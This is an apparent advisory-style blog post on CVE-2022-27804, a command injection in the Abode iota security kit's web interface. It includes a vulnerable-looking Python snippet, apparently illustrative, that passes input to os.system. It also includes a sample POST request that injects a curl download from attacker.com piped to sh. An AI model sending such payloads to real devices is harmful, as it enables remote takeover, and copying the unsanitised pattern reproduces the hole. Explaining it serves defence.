CVE-2022-27804 - Uncovering an OS Command Injection Vulnerability in Abode Systems iota All-In-One Security Kit

Security researchers have discovered a new vulnerability in the embedded web interface of Abode Systems, Inc.'s iota All-In-One Security Kit with firmware versions 6.9X and 6.9Z. Given a CVE identifier of CVE-2022-27804, this critical OS command injection vulnerability lies in the util_set_abode_code functionality, which, if exploited, can grant attackers the ability to execute arbitrary commands on the victim device.

This post aims to provide an in-depth analysis of this vulnerability, including code snippets, the exploit details, and links to original references. We'll also take a closer look at how an attacker could send a specially crafted HTTP request to trigger and exploit this vulnerability.

Vulnerability Details

The root of this vulnerability lies in the inability of the web interface of iota All-In-One Security Kit to correctly sanitize user input passed through the util_set_abode_code functionality. This functionality is responsible for setting up a new access code for the device, but it fails to address the proper validation of such input, leading to an OS command injection vulnerability.

The following code snippet showcases the vulnerable function

def util_set_abode_code(new_code):
    os_command = f"abode_set_code -c {new_code}"
    os.system(os_command)

As seen above, the new_code parameter is directly passed as part of the os_command string without any input validation or sanitization. Attackers can exploit this behavior by crafting a malicious HTTP request, injecting arbitrary commands within the new_code parameter.

Exploiting the Vulnerability

To exploit this vulnerability, an attacker can craft an HTTP request that encapsulates the malicious payload in the new_code parameter:

POST /set_abode_code HTTP/1.1
Content-Type: application/x-www-form-urlencoded

new_code=1234;curl+-s+-o+-+http%3A%2F%2Fattacker.com%2Fmalicious_script.sh|sh

In this particular example, the attacker sends a specially crafted HTTP POST request to the vulnerable web interface. The new_code parameter consists of the malicious payload that injects an arbitrary command. Here, the attacker is instructing the system to download a malicious script from a remote server (attacker.com) and execute it.

This malicious command execution can lead to various devastating consequences, such as unauthorized access, data exfiltration, or even rendering the security kit inoperative.

Mitigation and Fix

It is strongly advised that users running firmware versions 6.9X and 6.9Z on their iota All-In-One Security Kit update their software to the latest available release. This can be done by visiting the Abode Systems, Inc. website and following the instructions on downloading and applying firmware updates.

Additionally, users should always be cautious of suspicious HTTP requests, avoiding unauthorized access to their devices.

Original References

For those who would like to delve deeper into this vulnerability and its research, the following resources offer a comprehensive overview:

1. CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27804
2. Abode Systems, Inc. Security Advisory: https://www.goabode.com/security-advisory-2022-27804

Conclusion

CVE-2022-27804 serves as a reminder of the importance of proper input validation and sanitization in software development. Implementing a thorough security strategy to address such vulnerabilities is crucial to protect both user data and device functionality. Users should update their iota All-In-One Security Kit version to the latest available release and remain cautious against potential attackers.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 13:09:00 UTC